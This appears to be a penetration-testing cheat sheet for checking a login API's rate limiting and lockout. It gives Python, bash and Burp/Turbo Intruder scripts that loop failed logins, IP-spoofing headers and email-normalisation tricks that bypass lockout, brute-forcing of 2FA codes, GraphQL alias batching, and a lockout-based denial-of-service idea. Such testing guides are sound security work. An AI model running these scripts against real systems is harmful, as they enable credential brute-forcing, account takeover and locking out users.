POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/json

{"email":"mytest@test.com","password":"wrongpassword_ATTEMPT_N"}

# Response interpretation:
# All 401 after 50 attempts  → NO LOCKOUT  → CRITICAL ✓
# 429 at attempt N           → Rate limit  → note threshold N
# 423 / lockout message      → Account lockout (note attempt count)

# Headers to check for ABSENCE (absence = vulnerable):
X-RateLimit-Limit:     # (not present)
X-RateLimit-Remaining: # (not present)
Retry-After:           # (not present)

# Step 1: Trigger lockout normally (5 wrong attempts)
POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/json
{"email":"mytest@test.com","password":"wrong"}
# → 429 Too Many Requests (locked)

# Step 2: Add spoofed IP header and retry:
POST /api/login HTTP/1.1
Host: target.com
X-Forwarded-For: 203.0.113.1
Content-Type: application/json
{"email":"mytest@test.com","password":"wrong"}
# → 401 (not 429)?  → BYPASS CONFIRMED → CRITICAL

# Test all these headers in sequence:
X-Forwarded-For: 203.0.113.1
X-Real-IP: 203.0.113.1
X-Originating-IP: 203.0.113.1
True-Client-IP: 203.0.113.1
CF-Connecting-IP: 203.0.113.1
Forwarded: for=203.0.113.1

# Lock account with 5 attempts on primary email:
{"email":"victim@test.com","password":"wrong"}  → locked

# Try these variants — all should resolve to the same account:
{"email":"VICTIM@TEST.COM","password":"wrong"}   → 401? = BYPASS
{"email":"victim+x@test.com","password":"wrong"} → 401? = BYPASS
{"email":" victim@test.com","password":"wrong"}  → 401? = BYPASS
{"email":"victim@TEST.com","password":"wrong"}   → 401? = BYPASS

# Any variant returning 401 (not locked) confirms
# per-username lockout can be bypassed via normalization

import requests, json, time

LOGIN_URL  = 'https://target.com/api/login'
TEST_EMAIL = 'mytest@mytest.com'  # YOUR OWN account
MAX        = 50
locked     = False
headers    = {'Content-Type': 'application/json'}

for i in range(1, MAX+1):
    body = json.dumps({'email': TEST_EMAIL, 'password': f'wrongpass_{i}'})
    r    = requests.post(LOGIN_URL, headers=headers, data=body)
    rl   = r.headers.get('X-RateLimit-Remaining', 'ABSENT')
    ra   = r.headers.get('Retry-After',           'ABSENT')
    print(f'[{i:02d}] HTTP {r.status_code} | RL-Remaining:{rl} | Retry-After:{ra}')
    if r.status_code == 429:
        print(f'[+] Rate limit at attempt {i} — threshold confirmed'); locked=True; break
    if 'lock' in r.text.lower() or 'block' in r.text.lower():
        print(f'[+] Lockout message at attempt {i}'); locked=True; break
    time.sleep(0.3)

if not locked:
    print(f'[!!!] NO LOCKOUT after {MAX} attempts → CRITICAL FINDING')

import requests, json

LOGIN_URL  = 'https://target.com/api/login'
TEST_EMAIL = 'mytest@mytest.com'
BASE_HDR   = {'Content-Type': 'application/json'}
BODY       = json.dumps({'email': TEST_EMAIL, 'password': 'wrongpass'})

SPOOF_HEADERS = [
    'X-Forwarded-For', 'X-Real-IP', 'X-Originating-IP',
    'True-Client-IP',  'CF-Connecting-IP', 'X-Client-IP'
]

# Step 1: Trigger lockout (10 attempts)
print('[*] Triggering lockout...')
for _ in range(10):
    requests.post(LOGIN_URL, headers=BASE_HDR, data=BODY)

# Step 2: Test each spoof header
print('[*] Testing IP spoof bypass headers:')
for hdr in SPOOF_HEADERS:
    spoofed = {**BASE_HDR, hdr: f'10.0.0.{SPOOF_HEADERS.index(hdr)+1}'}
    r       = requests.post(LOGIN_URL, headers=spoofed, data=BODY)
    result  = '[BYPASS CONFIRMED]' if r.status_code == 401 else '[still blocked]'
    print(f'  {hdr}: HTTP {r.status_code} {result}')

#!/bin/bash  — use YOUR OWN test account only
URL='https://target.com/api/login'
EMAIL='test@mytest.com'

for i in $(seq 1 30); do
  CODE=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$URL" \
    -H 'Content-Type: application/json' \
    -d "{\"email\":\"$EMAIL\",\"password\":\"wrongpass$i\"}")
  echo "Attempt $i: HTTP $CODE"
  [ "$CODE" = "429" ] && { echo '[+] Rate limit found'; exit 0; }
done
echo '[!!!] NO LOCKOUT — CRITICAL'

# Send request to Intruder (Ctrl+I)
# Positions tab → Clear § → highlight password value → Add §
{"email":"mytest@test.com","password":"§wrongpass§"}

# Payloads tab:
#   Type: Simple list
#   Load: /usr/share/wordlists/rockyou.txt (top 100)
#   OR: Numbers 1–100 (wrongpass1, wrongpass2...)

# Resource Pool: Max concurrent = 1, delay = 300ms
# Start Attack → sort by Status:
#   All 401 → NO LOCKOUT → CRITICAL
#   200 OK → ATO found

# For IP bypass: add header in Intruder "Request headers" tab:
#   X-Forwarded-For: §FUZZ§ with number payload 1–100

# Extensions → Turbo Intruder → right-click 2FA request → Send to Turbo Intruder
# In script editor, use this template:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5)
    for code in range(0, 30):  # test first 30 OTPs
        engine.queue(target.req, str(code).zfill(6))

def handleResponse(req, interesting):
    if req.status == 200 or 'success' in req.response:
        table.add(req)

# Payload position in request body:
{"otp":"§FUZZ§"}

# If all return 401 after 30 attempts → NO 2FA LOCKOUT → CRITICAL

# REST endpoint may have rate limiting. GraphQL often does not.
POST /graphql HTTP/1.1
Content-Type: application/json

{"query": "mutation {
  a1: login(email:\"t@t.com\", password:\"wrong1\") { token }
  a2: login(email:\"t@t.com\", password:\"wrong2\") { token }
  a3: login(email:\"t@t.com\", password:\"wrong3\") { token }
  ...
  a50: login(email:\"t@t.com\", password:\"wrong50\") { token }
}"}

# 50 login attempts = 1 HTTP request = 1 rate-limit count
# Effective rate: 50× bypass of any per-request throttle
# All return errors without lockout? → CRITICAL

# If lockout is PERMANENT (not time-based), it can be weaponized:
# 1. Enumerate valid emails via error message differences
# 2. Send 5 wrong-password requests per valid account
# 3. Lock out ALL users → platform-wide DoS

# Test: is your own lockout time-based or permanent?
# Time-based (good): account auto-unlocks after 15 min
# Permanent (bad) : requires manual admin intervention

# Also test: do lockout errors reveal account existence?
"This account is locked" ← reveals valid email
"Invalid credentials"   ← uniform message (secure)